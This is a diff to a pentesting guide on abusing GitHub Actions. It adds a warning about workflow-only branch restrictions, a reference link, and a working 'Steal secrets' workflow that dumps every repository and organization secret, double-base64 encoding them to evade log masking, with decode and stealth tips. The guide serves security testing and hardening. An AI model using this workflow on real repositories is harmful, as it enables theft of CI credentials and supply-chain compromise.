Add content from: GitHub Actions: A Cloudy Day for Security - Part 1

- Remove searchindex.js (auto-generated file)

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -173,6 +173,9 @@ In case members of an organization can **create new repos** and you can execute
 
 If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
 
+> [!WARNING]
+> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+
 You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
 
 ```yaml
@@ -567,6 +570,30 @@ jobs:
     key: ${{ secrets.PUBLISH_KEY }}
   ```
 
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
+
+  ```yaml
+  name: Steal secrets
+  on:
+    push:
+      branches: [ attacker-branch ]
+  jobs:
+    dump:
+      runs-on: ubuntu-latest
+      steps:
+        - name: Double-base64 the secrets context
+          run: |
+            echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+  ```
+
+  Decode locally:
+
+  ```bash
+  echo "ZXdv...Zz09" | base64 -d | base64 -d
+  ```
+
+  Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
 ### Abusing Self-hosted runners
 
 The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
@@ -650,6 +677,10 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
 > [!WARNING]
 > The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
 
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+
 {{#include ../../../banners/hacktricks-training.md}}